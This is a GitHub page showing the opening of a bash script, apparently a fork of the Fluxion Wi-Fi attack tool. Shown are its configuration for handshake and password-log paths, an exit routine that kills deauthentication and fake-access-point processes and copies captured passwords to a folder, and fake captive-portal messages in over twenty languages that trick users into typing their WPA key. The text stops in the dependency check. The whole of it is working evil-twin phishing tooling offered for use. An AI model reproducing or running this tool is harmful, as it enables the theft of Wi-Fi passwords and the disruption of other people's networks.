-
Notifications
You must be signed in to change notification settings - Fork 0
/
ph
executable file
·5785 lines (5254 loc) · 292 KB
/
ph
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
########## DEBUG Mode ##########
if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0
else FLUX_DEBUG=1
fi
################################
####### preserve network #######
if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0
else KEEP_NETWORK=1
fi
################################
###### AUTO CONFIG SETUP #######
if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0
else FLUX_AUTO=1
fi
################################
if [[ $EUID -ne 0 ]]; then
echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m"""
exit 1
fi
if [ -z "${DISPLAY:-}" ]; then
echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m"""
exit 1
fi
clear
##################################### < CONFIGURATION > #####################################
DUMP_PATH="/tmp/TMPflux"
HANDSHAKE_PATH="/root/handshakes"
PASSLOG_PATH="/root/pwlog"
WORK_DIR=`pwd`
DEAUTHTIME="9999999999999"
revision=124
version=0.24
IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
#Colors
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
Purple="\033[0;35m"
Cyan="\033[0;36m"
Cafe="\033[0;33m"
Fiuscha="\033[0;35m"
blue="\033[1;34m"
transparent="\e[0m"
general_back="Back"
general_error_1="Not_Found"
general_case_error="Unknown option. Choose again"
general_exitmode="Cleaning and closing"
general_exitmode_1="Disabling monitoring interface"
general_exitmode_2="Disabling interface"
general_exitmode_3="Disabling "$grey"forwarding of packets"
general_exitmode_4="Cleaning "$grey"iptables"
general_exitmode_5="Restoring "$grey"tput"
general_exitmode_6="Restarting "$grey"Network-Manager"
general_exitmode_7="Cleanup performed successfully!"
general_exitmode_8="Thanks for using fluxion"
#############################################################################################
# DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode]
if [ $FLUX_DEBUG = 1 ]; then
## Developer Mode
export flux_output_device=/dev/stdout
HOLD="-hold"
else
## Normal Mode
export flux_output_device=/dev/null
HOLD=""
fi
# Delete Log only in Normal Mode !
function conditional_clear() {
if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi
}
function airmon {
chmod +x airmon
}
airmon
# Check Updates
function checkupdatess {
revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/deltaxflux/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)"
if [ -z "$revision_online" ]; then
echo "?">$DUMP_PATH/Irev
else
echo "$revision_online">$DUMP_PATH/Irev
fi
}
# Animation
function spinner {
local pid=$1
local delay=0.15
local spinstr='|/-\'
while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
local temp=${spinstr#?}
printf " [%c] " "$spinstr"
local spinstr=$temp${spinstr%"$temp"}
sleep $delay
printf "\b\b\b\b\b\b"
done
printf " \b\b\b\b"
}
# ERROR Report only in Developer Mode
function err_report {
echo "Error on line $1"
}
if [ $FLUX_DEBUG = 1 ]; then
trap 'err_report $LINENUM' ERR
fi
#Function to executed in case of unexpected termination
trap exitmode SIGINT SIGHUP
# KILL ALL
function exitmode {
if [ $FLUX_DEBUG != 1 ]; then
conditional_clear
top
echo -e "\n\n"$white"["$red"-"$white"] "$red"$general_exitmode"$transparent""
if ps -A | grep -q aireplay-ng; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent""
killall aireplay-ng &>$flux_output_device
fi
if ps -A | grep -q airodump-ng; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent""
killall airodump-ng &>$flux_output_device
fi
if ps a | grep python| grep fakedns; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent""
kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device
fi
if ps -A | grep -q hostapd; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent""
killall hostapd &>$flux_output_device
fi
if ps -A | grep -q lighttpd; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent""
killall lighttpd &>$flux_output_device
fi
if ps -A | grep -q dhcpd; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent""
killall dhcpd &>$flux_output_device
fi
if ps -A | grep -q mdk3; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent""
killall mdk3 &>$flux_output_device
fi
if [ "$WIFI_MONITOR" != "" ]; then
echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_1 "$green"$WIFI_MONITOR"$transparent""
./airmon stop $WIFI_MONITOR &> $flux_output_device
fi
if [ "$WIFI" != "" ]; then
echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_2 "$green"$WIFI"$transparent""
./airmon stop $WIFI &> $flux_output_device
./airmon stop $WIFI_MONITOR1 &> $flux_output_device
./airmon stop $WIFI_MONITOR2 &> $flux_output_device
./airmon stop $WIFI_MONITOR3 &> $flux_output_device
./airmon stop $WIFI_MONITOR4 &> $flux_output_device
./airmon stop $WIFI_MONITOR5 &> $flux_output_device
macchanger -p $WIFI &> $flux_output_device
fi
if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_3"$transparent""
sysctl -w net.ipv4.ip_forward=0 &>$flux_output_device
fi
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_4"$transparent""
if [ ! -f $DUMP_PATH/iptables-rules ];then
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
else
iptables-restore < $DUMP_PATH/iptables-rules
fi
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_5"$transparent""
tput cnorm
if [ $FLUX_DEBUG != 1 ]; then
echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent""
cp $DUMP_PATH/data/password.txt /root/Bureau/
rm -R $DUMP_PATH/* &>$flux_output_device
fi
if [ $KEEP_NETWORK = 0 ]; then
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_6"$transparent""
# systemctl check
systemd=`whereis systemctl`
if [ "$systemd" = "" ];then
service network-manager restart &> $flux_output_device &
service networkmanager restart &> $flux_output_device &
service networking restart &> $flux_output_device &
else
systemctl restart NetworkManager &> $flux_output_device &
fi
echo -e ""$white"["$green"+"$white"] "$green"$general_exitmode_7"$transparent""
echo -e ""$white"["$green"+"$white"] "$grey"$general_exitmode_8"$transparent""
sleep 2
clear
fi
fi
exit
}
#Languages for the web interface
#EN
DIALOG_WEB_INFO_ENG="For security reasons, enter the WPA key to access the Internet."
DIALOG_WEB_INPUT_ENG="Enter your WPA password:"
DIALOG_WEB_SUBMIT_ENG="Submit"
DIALOG_WEB_ERROR_ENG="Error: The entered password is not correct!"
DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments."
DIALOG_WEB_BACK_ENG="Back"
DIALOG_WEB_ERROR_MSG_ENG="This field is required."
DIALOG_WEB_LENGTH_MIN_ENG="The password must be more than {0} characters!"
DIALOG_WEB_LENGTH_MAX_ENG="The password must be less than {0} characters!"
DIALOG_WEB_DIR_ENG="ltr"
#GER
DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen geben Sie bitte den WPA2 Schlüssel ein."
DIALOG_WEB_INPUT_GER="Geben Sie den WPA2 Schlüssel ein:"
DIALOG_WEB_SUBMIT_GER="Bestätigen"
DIALOG_WEB_ERROR_GER="Fehler: Das eingegebene Passwort ist nicht korrekt!"
DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt."
DIALOG_WEB_BACK_GER="Zurück"
DIALOG_WEB_ERROR_MSG_GER="Dieses Feld ist ein Pflichtfeld."
DIALOG_WEB_LENGTH_MIN_GER="Das Passwort muss länger als {0} Zeichen sein"
DIALOG_WEB_LENGTH_MAX_GER="Das Passwort darf nicht länger als {0} Zeichen sein"
DIALOG_WEB_DIR_GER="ltr"
#ESP
DIALOG_WEB_INFO_ESP="Por razones de seguridad, teclea tu clave WPA para acceder a internet"
DIALOG_WEB_INPUT_ESP="Teclea tu contraseña WPA:"
DIALOG_WEB_SUBMIT_ESP="Enviar"
DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida no es correcta"
DIALOG_WEB_OK_ESP="Tu conexión será restaurada en unos pocos minutos"
DIALOG_WEB_BACK_ESP="Atrás"
DIALOG_WEB_ERROR_MSG_ESP="Este campo es obligatorio."
DIALOG_WEB_LENGTH_MIN_ESP="La contraseña debe ser más de {0} caracteres!"
DIALOG_WEB_LENGTH_MAX_ESP="La contraseña debe ser menos de {0} caracteres!"
DIALOG_WEB_DIR_ESP="ltr"
#IT
DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave WPA per accedere a Internet"
DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:"
DIALOG_WEB_SUBMIT_IT="Invia"
DIALOG_WEB_ERROR_IT="Errore: La password non è corretta!"
DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti."
DIALOG_WEB_BACK_IT="Indietro"
DIALOG_WEB_ERROR_MSG_IT="Campo obbligatorio."
DIALOG_WEB_LENGTH_MIN_IT="La password deve essere superiore a {0} caratteri"
DIALOG_WEB_LENGTH_MAX_IT="La password deve essere inferiore a {0} caratteri"
DIALOG_WEB_DIR_IT="ltr"
#FR
DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, entrez votre clé WPA"
DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:"
DIALOG_WEB_SUBMIT_FR="Soumettre"
DIALOG_WEB_ERROR_FR="Erreur: Le mot de passe entré est incorrect!"
DIALOG_WEB_OK_FR="Votre connection va être restaurée dans un instant."
DIALOG_WEB_BACK_FR="Retour"
DIALOG_WEB_ERROR_MSG_FR="Ce champ est obligatoire."
DIALOG_WEB_LENGTH_MIN_FR="Le mot de passe doit avoir plus de {0} caractères"
DIALOG_WEB_LENGTH_MAX_FR="Le mot de passe doit avoir moins de {0} caractères"
DIALOG_WEB_DIR_FR="ltr"
#POR
DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet"
DIALOG_WEB_INPUT_POR="Digite novamente a senha do Wifi"
DIALOG_WEB_SUBMIT_POR="Enviar"
DIALOG_WEB_ERROR_POR="Erro: A senha digitada está incorreta!"
DIALOG_WEB_OK_POR="A sua conexão será restaurada em breve."
DIALOG_WEB_BACK_POR="Voltar"
DIALOG_WEB_ERROR_MSG_POR="Campo de preenchimento obrigatório."
DIALOG_WEB_LENGTH_MIN_POR="A senha deve ter mais de {0} caracteres"
DIALOG_WEB_LENGTH_MAX_POR="A chave deve ser menor que {0} caracteres"
DIALOG_WEB_DIR_POR="ltr"
#RUS
DIALOG_WEB_INFO_RUS="Для получения доступа в Интернет нужно ввести WPA пароль своей точки доступа."
DIALOG_WEB_INPUT_RUS="Введите пароль:"
DIALOG_WEB_SUBMIT_RUS="Отправить"
DIALOG_WEB_ERROR_RUS="Ошибка: Введенный пароль не верный!"
DIALOG_WEB_OK_RUS="Спасибо, соединение восстановится через несколько секунд."
DIALOG_WEB_BACK_RUS="Назад"
DIALOG_WEB_ERROR_MSG_RUS="Это поле необходимо заполнить."
DIALOG_WEB_LENGTH_MIN_RUS="Пароль должен быть не менее {0} символов!"
DIALOG_WEB_LENGTH_MAX_RUS="Пароль должен быть не более {0} символов!"
DIALOG_WEB_DIR_RUS="ltr"
#TR
DIALOG_WEB_INFO_TR="İnternet'e erişmek icin WPA kablosuz ağ şifrenizi giriniz:"
DIALOG_WEB_INPUT_TR="Lütfen parolanızı giriniz:"
DIALOG_WEB_SUBMIT_TR="Giriş"
DIALOG_WEB_ERROR_TR="Hata: girilen şifre doğru değil! "
DIALOG_WEB_OK_TR="Bağlantı birkaç dakika içinde yapılandırılacaktır."
DIALOG_WEB_BACK_TR="Geri"
DIALOG_WEB_ERROR_MSG_TR="Bu alanın doldurulması zorunludur."
DIALOG_WEB_LENGTH_MIN_TR="Parola en az {0} karakterden olmalıdır."
DIALOG_WEB_LENGTH_MAX_TR="Parola {0} karakterden daha fazla olmamalıdır."
DIALOG_WEB_DIR_TR="ltr"
#RO
DIALOG_WEB_INFO_RO="Din motive de securitate, introduceți cheia WPA pentru a avea acces la Internet"
DIALOG_WEB_INPUT_RO="Parola WPA:"
DIALOG_WEB_SUBMIT_RO="Trimite"
DIALOG_WEB_ERROR_RO="Eroare: Parola introdusa nu este corecta!"
DIALOG_WEB_OK_RO="Conexiunea la Internet va porni in cateva momente."
DIALOG_WEB_BACK_RO="Inapoi"
DIALOG_WEB_ERROR_MSG_RO="Acest câmp este obligatoriu."
DIALOG_WEB_LENGTH_MIN_RO="Parola trebuie să fie mai mare de {0} de caractere!"
DIALOG_WEB_LENGTH_MAX_RO="Parola trebuie să fie mai mică de {0} de caractere!"
DIALOG_WEB_DIR_RO="ltr"
#HU
DIALOG_WEB_INFO_HU="Biztonsági okokból adja meg a WPA kulcsot az internet eléréséhez"
DIALOG_WEB_INPUT_HU="WPA jelszó:"
DIALOG_WEB_SUBMIT_HU="Küldés"
DIALOG_WEB_ERROR_HU="Hiba: A megadott jelszó helytelen!"
DIALOG_WEB_OK_HU="Az Internet kapcsolat helyreállt. "
DIALOG_WEB_BACK_HU="Vissza"
DIALOG_WEB_ERROR_MSG_HU="A jelszót kötelező megadni."
DIALOG_WEB_LENGTH_MIN_HU="A jelszó nem lehet kevesebb, mint {0} karakter!"
DIALOG_WEB_LENGTH_MAX_HU="A jelszó kevesebb mint {0} karakter kell hogy legyen!"
DIALOG_WEB_DIR_HU="ltr"
#ARA
DIALOG_WEB_INFO_ARA="لأسباب أمنية، أدخل كلمة المرور الخاصة بالشبكة المدونة اعلاه من تشفير WPA للحصول على اتصال الانترنت"
DIALOG_WEB_INPUT_ARA="ادخل كلمة السر"
DIALOG_WEB_SUBMIT_ARA="تأكيد"
DIALOG_WEB_ERROR_ARA="خطأ: كلمة السر المدخلة غير صحيحة"
DIALOG_WEB_OK_ARA="سوف يتم استعادة الاتصال في لحظات قليلة! شكرا لتعاونكم"
DIALOG_WEB_BACK_ARA="العودة"
DIALOG_WEB_ERROR_MSG_ARA="هذا الحقل إلزامي"
DIALOG_WEB_LENGTH_MIN_ARA="يجب أن تكون كلمة المرور أكثر من {0} أحرف او ارقام"
DIALOG_WEB_LENGTH_MAX_ARA="يجب أن تكون كلمة المرور أقل من {0} حرفا او رقم"
DIALOG_WEB_DIR_ARA="rtl"
#CN
DIALOG_WEB_INFO_CN="为了您的安全考量, 请输入 WPA 密码以重新连接网络"
DIALOG_WEB_INPUT_CN="输入您的WPA密码:"
DIALOG_WEB_SUBMIT_CN="连接"
DIALOG_WEB_ERROR_CN="出错了: 您输入的密码 错误!"
DIALOG_WEB_OK_CN="您的无线网络将会在短时间内恢复"
DIALOG_WEB_BACK_ZH_CN="返回"
DIALOG_WEB_ERROR_MSG_CN="此处不能为空"
DIALOG_WEB_LENGTH_MIN_CN="密码最少要有{0}个字符!"
DIALOG_WEB_LENGTH_MAX_CN="密码必须少于{0}个字符!"
DIALOG_WEB_DIR_CN="ltr"
#GR
DIALOG_WEB_INFO_GR="Για λόγους ασφάλειας, εισάγετε το WPA κωδικό για να έχετε πρόσβαση στο Internet."
DIALOG_WEB_INPUT_GR="Εισάγετε τον WPA κωδικό:"
DIALOG_WEB_SUBMIT_GR="Εισαγωγή"
DIALOG_WEB_ERROR_GR="Σφάλμα: Ο κωδικός ΔΕΝ είναι σωστός!"
DIALOG_WEB_OK_GR="Η συνδεσή σας θα αποκατασταθεί σε λίγα λεπτά"
DIALOG_WEB_BACK_GR="Πίσω"
DIALOG_WEB_ERROR_MSG_GR="Αυτό το πεδίο είναι υποχρεωτικό."
DIALOG_WEB_LENGTH_MIN_GR="Ο κωδικός πρέπει να είναι πάνω από {0} χαρακτήρες"
DIALOG_WEB_LENGTH_MAX_GR="Ο κωδικός πρέπει να είναι λιγότερο από {0} χαρακτήρες"
DIALOG_WEB_DIR_GR="ltr"
#CZ
DIALOG_WEB_INFO_CZ="Zadejte vaše heslo WPA, kvůli problémům se zabezpečením, abyste se mohli připojit k internetu."
DIALOG_WEB_INPUT_CZ="Zadejte vaše heslo WPA:"
DIALOG_WEB_SUBMIT_CZ="Odeslat"
DIALOG_WEB_ERROR_CZ="Chyba: Zadané heslo není správné!"
DIALOG_WEB_OK_CZ="Vaše připojení bude obnoveno během chvilky."
DIALOG_WEB_BACK_CZ="Zpět"
DIALOG_WEB_ERROR_MSG_CZ="Toto pole musíte vyplnit."
DIALOG_WEB_LENGTH_MIN_CZ="Heslo musí být delší než {0} znak(ů)!"
DIALOG_WEB_LENGTH_MAX_CZ="Heslo musí být kratší než {0} znaků(ů)!"
DIALOG_WEB_DIR_CZ="ltr"
#NO
DIALOG_WEB_INFO_NO="Av sikkerhetsmessige årsaker må WPA-nøkkelen skrives inn for å få tilgang til internett"
DIALOG_WEB_INPUT_NO="Skriv inn ditt WPA-passord:"
DIALOG_WEB_SUBMIT_NO="Send inn"
DIALOG_WEB_ERROR_NO="Feilmelding: Passordet du skrev inn er IKKE riktig!"
DIALOG_WEB_OK_NO="Din tilkobling vil snart bli gjenopprettet."
DIALOG_WEB_BACK_NO="Tilbake"
DIALOG_WEB_ERROR_MSG_NO="Dette feltet er nødvendig."
DIALOG_WEB_LENGTH_MIN_NO="Passordet må inneholde mer enn {0} tegn"
DIALOG_WEB_LENGTH_MAX_NO="Passordet må inneholde ferre enn {0} tegn"
DIALOG_WEB_DIR_NO="ltr"
#BG
DIALOG_WEB_INFO_BG="От съображения за сигурност е необходимо да въведете своята WPA парола за да получите достъп до Интернет."
DIALOG_WEB_INPUT_BG="Въведете своята WPA парола:"
DIALOG_WEB_SUBMIT_BG="Изпращане"
DIALOG_WEB_ERROR_BG="Грешка: Въведената парола е неправилна!"
DIALOG_WEB_OK_BG="Връзката ще бъде възстановена след няколко секунди."
DIALOG_WEB_BACK_BG="Назад"
DIALOG_WEB_ERROR_MSG_BG="Това поле е задължително!"
DIALOG_WEB_LENGTH_MIN_BG="Паролата трябва да съдържа повече от {0} символа!"
DIALOG_WEB_LENGTH_MAX_BG="Паролата трябва да съдържа по-малко от {0} символа!"
DIALOG_WEB_DIR_BG="ltr"
#SRB by ghost
DIALOG_WEB_INFO_SRB="Zbog sigurnosnih razloga, unesite WPA ključ da bi ste pristupili internetu."
DIALOG_WEB_INPUT_SRB="Unesite vašu WPA šifru:"
DIALOG_WEB_SUBMIT_SRB="Potvrdi"
DIALOG_WEB_ERROR_SRB="Greška: Šifra koju ste uneli nije tačna!"
DIALOG_WEB_OK_SRB="Vaša konekcija će biti restartovana za par sekundi."
DIALOG_WEB_BACK_SRB="Nazad"
DIALOG_WEB_ERROR_MSG_SRB="Ovo polje je obavezno."
DIALOG_WEB_LENGTH_MIN_SRB="Šifra mora biti duža od {0} simbola!"
DIALOG_WEB_LENGTH_MAX_SRB="Šifra mora biti kraća od {0} simbola!"
DIALOG_WEB_DIR_SRB="ltr"
#PL
DIALOG_WEB_INFO_PL="Ze względów bezpieczeństwa, wprowadź klucz WPA, aby uzyskać dostęp do Internetu"
DIALOG_WEB_INPUT_PL="Wprowadź hasło WPA:"
DIALOG_WEB_SUBMIT_PL="Zatwierdź"
DIALOG_WEB_ERROR_PL="Błąd: Wprowadzone hasło nie jest poprawne!"
DIALOG_WEB_OK_PL="Połączenie z Internetem zostanie przywrócone w ciągu kilku chwil."
DIALOG_WEB_BACK_PL="Powrót"
DIALOG_WEB_ERROR_MSG_PL="To pole jest obowiązkowe."
DIALOG_WEB_LENGTH_MIN_PL="Podane hasło jest za krótkie Hasło musi zawierać więcej niż {0} znaków!"
DIALOG_WEB_LENGTH_MAX_PL="Podane hasło jest za długie. Hasło musi być mniejsza niż {0} znaków!"
DIALOG_WEB_DIR_PL="ltr"
#ID
DIALOG_WEB_INFO_ID="Untuk alasan keamanan, masukkan WPA KEY (password wifi) untuk mengakses Internet."
DIALOG_WEB_INPUT_ID="Masukkan WPA KEY (password wifi) anda:"
DIALOG_WEB_SUBMIT_ID="Masukkan"
DIALOG_WEB_ERROR_ID="Error: Password yang anda masukkan tidak sesuai!"
DIALOG_WEB_OK_ID="Anda akan dapat mengakses Internet dalam beberapa saat lagi."
DIALOG_WEB_BACK_ID="Kembali"
DIALOG_WEB_ERROR_MSG_ID="Kolom ini wajib diisi."
DIALOG_WEB_LENGTH_MIN_ID="Password harus lebih dari {0} karakter!"
DIALOG_WEB_LENGTH_MAX_ID="Password harus kurang dari {0} karakter!"
DIALOG_WEB_DIR_ID="ltr"
#NL
DIALOG_WEB_INFO_NL="Voer uw WPA-wachtwoord wegens beveiligingsredenen in om weer internettoegang te krijgen."
DIALOG_WEB_INPUT_NL="Typ Uw WPA wachtwoord:"
DIALOG_WEB_SUBMIT_NL="Invoeren"
DIALOG_WEB_ERROR_NL="Error: Het ingevoerde wachtwoord is niet juist!"
DIALOG_WEB_OK_NL="Uw verbinding wordt in enkele seconden hervat."
DIALOG_WEB_BACK_NL="Terug"
DIALOG_WEB_ERROR_MSG_NL="Dit veld is verplicht."
DIALOG_WEB_LENGTH_MIN_NL="Het wachtwoord moet langer zijn dan {0} karakters!"
DIALOG_WEB_LENGTH_MAX_NL="Het wachtwoord moet korter zijn dan {0} karakters!"
DIALOG_WEB_DIR_NL="ltr"
#DAN
DIALOG_WEB_INFO_DAN="Af sikkerhedsmæssige årsager, skal du skrive netværksadgangskoden, for at få adgang til internettet."
DIALOG_WEB_INPUT_DAN="Angiv netværksadgangskoden:"
DIALOG_WEB_SUBMIT_DAN="Forsæt"
DIALOG_WEB_ERROR_DAN="Fejl: Den indtastede netværksadgangskode er ikke korrekt!"
DIALOG_WEB_OK_DAN="Tak, din forbindelse vil blive genoprettet inden få sekunder."
DIALOG_WEB_BACK_DAN="Tilbage"
DIALOG_WEB_ERROR_MSG_DAN="Dette felt er obligatorisk"
DIALOG_WEB_LENGTH_MIN_DAN="Netværksadgangskoden skal være på mere end {0} tegn!"
DIALOG_WEB_LENGTH_MAX_DAN="Netværksadgangskoden skal være på mindre end {0} tegn!"
DIALOG_WEB_DIR_DAN="ltr"
#TH
DIALOG_WEB_INFO_TH="กรุณากรอกรหัสผ่าน WIFI เพื่อให้แน่ใจว่าท่านไม่ใช่ Robot ในการใช้งานอินเตอร์เน็ต."
DIALOG_WEB_INPUT_TH="กรอกรหัสผ่าน WIFI ของท่าน:"
DIALOG_WEB_SUBMIT_TH="ยืนยัน"
DIALOG_WEB_ERROR_TH="เกิดข้อผิดพลาด: รหัสผ่านไม่ถูกต้อง"
DIALOG_WEB_OK_TH="กรุณารอสักครู่..ระบบกำลังพาท่านไปยังเว็บไซต์ก่อนหน้า..."
DIALOG_WEB_BACK_TH="กลับ"
DIALOG_WEB_ERROR_MSG_TH="กรุณากรอกช่องนี้!"
DIALOG_WEB_LENGTH_MIN_TH="รหัสผ่านควรมีมากกว่า {0} ตัวอักษร!"
DIALOG_WEB_LENGTH_MAX_TH="รหัสผ่านควรมีอย่างน้อย {0} ตัวอักษร!"
DIALOG_WEB_DIR_TH="ltr"
#HE
DIALOG_WEB_INFO_HE="מטעמי אבטחה, יש להזין את סיסמת הרשת האלחוטית (WPA)עבור קבלת גישה לאינטרנט."
DIALOG_WEB_INPUT_HE="הזן את סיסמת הWPA:"
DIALOG_WEB_SUBMIT_HE="שלח"
DIALOG_WEB_ERROR_HE="שגיאה: הסיסמה שגויה!"
DIALOG_WEB_OK_HE="החיבור לאינטרנט יוחזר בעוד כמה רגעים."
DIALOG_WEB_BACK_HE="אחורה"
DIALOG_WEB_ERROR_MSG_HE="זהו שדה חובה."
DIALOG_WEB_LENGTH_MIN_HE="הסיסמה חייבת להכיל יותר מ{0} תוים!"
DIALOG_WEB_LENGTH_MAX_HE="הסיסמה חייבת להכיל פחות מ{0} תוים!"
DIALOG_WEB_DIR_ENG="ltr"
#Portuguese
DIALOG_WEB_INFO_PT_BR="Por razões de segurança, insira a senha WPA para acessar a internet"
DIALOG_WEB_INPUT_PT_BR="Insira sua senha WPA:"
DIALOG_WEB_SUBMIT_PT_BR="Enviar"
DIALOG_WEB_ERROR_PT_BR="Erro: A senha inserida não está correta!"
DIALOG_WEB_OK_PT_BR="Sua conexão será recuperada em breve."
DIALOG_WEB_BACK_PT_BR="Voltar"
DIALOG_WEB_ERROR_MSG_PT_BR="Este campo é obrigatório."
DIALOG_WEB_LPT_BRTH_MIN_PT_BR="A senha deve ter mais de {0} caracteres!"
DIALOG_WEB_LPT_BRTH_MAX_PT_BR="A senha deve ter menos de {0} caracteres!"
DIALOG_WEB_DIR_PT_BR="ltr"
# Design
function top(){
conditional_clear
echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
echo -e "$red[ ]"
echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]"
echo -e "$blue[ C'est Ahmed le Boss ]"
echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
echo
echo
}
##################################### < END OF CONFIGURATION SECTION > #####################################
############################################## < START > ##############################################
# Check requirements
function checkdependences {
echo -ne "aircrack-ng....."
if ! hash aircrack-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
